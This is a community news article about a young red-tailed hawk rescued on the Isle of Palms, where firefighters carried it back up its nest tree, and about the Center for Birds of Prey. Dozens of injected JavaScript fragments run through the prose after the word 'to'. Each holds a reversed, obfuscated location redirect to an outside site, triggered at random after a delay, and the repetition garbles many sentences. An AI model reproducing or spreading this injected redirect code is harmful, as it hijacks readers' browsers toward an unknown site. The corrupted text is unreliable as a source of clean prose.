Redtail Hawk Rescue

jacob kilbride gets a lesson in hawk handling

jacob kilbride gets a lesson in hawk handling. PHOTO BY Barbara Bergwerf

Provided by Mary Pringle

Redtailed Hawks are very common on the Isle of Palms and on Sullivan’s Island. They help tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to keep the rodent population in check and can even be seen hovering over the shore, looking down intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to vegetated dunes, or perched on telephone poles or tall structures looking for field rats or mice. Many tall oak trees on our barrier islands contain their large nests, which are built 30-60 feet up and typically contain two tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to four eggs, which the hawks lay in April. A pair of these hawks, which have been seen perched on the cross above the Methodist Church on 21st Avenue, hatched their nest at the corner of Palm and 20th Avenue this year. Their two offspring were fledging the second week of June.

Fledging, or leaving the nest and learning tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fly, is a very dangerous stage in a young bird’s life because their flying skills and judgment are not yet developed. Barry Murphy, who lives on the corner of Palm and 20th, noticed a large young hawk down in his yard. The bird had been there all day. He called The Center for Birds of Prey, which is part of the Avian Conservation Center, because he was concerned about it. He knew that the nest was in the tall oak in his yard. I was dispatched tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to check on it, and after gently catching it with heavy gloves, I tried tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to put it intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a smaller tree nearby. However, the fledgling refused tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stay in the small tree and was soon seen on the ground in the middle of busy traffic on Palm Blvd.! His sibling nest mate was still high in the tree, calling tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the parent hawks for food. It seemed that the best solution was tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get the youngster back up intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the tree where it belonged.

A call was made tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Isle of Palms Fire Department, and in a short time, firemen Jacob Kilbride and Chris Puckhaber arrived with a fire truck equipped with a long ladder. After a quick lesson in hawk handling, Jacob carried the hawk high up intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the tree. In this stage of development called “branching”, young birds are out of the nest and climbing around the nest tree, exercising their muscles by flapping their wings in preparation for flight, all while being fed and tended by the parents. This bird was not able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fly back up intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the tree after fluttering down, but now, both birds are fledged and are leaving the tree on a regular basis. The young hawks are often seen on the ground and in the trees while exploring their habitat and learning the skills they need tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to survive.

The Center for Birds of Prey is a great resource for the public tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to call when an injured bird of prey – hawk, owl, falcon, osprey, eagle, kite, or vulture – is found. There are volunteers who can quickly respond and transport the bird tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Center’s medical facility on Sewee Road near Awendaw. According tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Jim Elliott, the Executive Directobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor, 25-30 percent of the 350-400 birds treated annually are Redtail Hawks. The staff there is able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to rehabilitate many cases, which may include bone fractures from collisions with cars or windows, gunshot wounds, electric shock from power lines, emaciation cases, and orphaned nestlings. Although the medical facility is not open tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the public, the Center welcomes the public Thursdays through Saturdays from 10am tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 5pm for guided tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tours and flight demonstrations using non-releasable resident birds from all over the world. For admission information, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour times, and directions tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Center for Birds of Prey, visit the website at www.thecenterforbirdsofprey.org

If you ever encounter an injured bird of prey, please call their phone number immediately: 971-7474.

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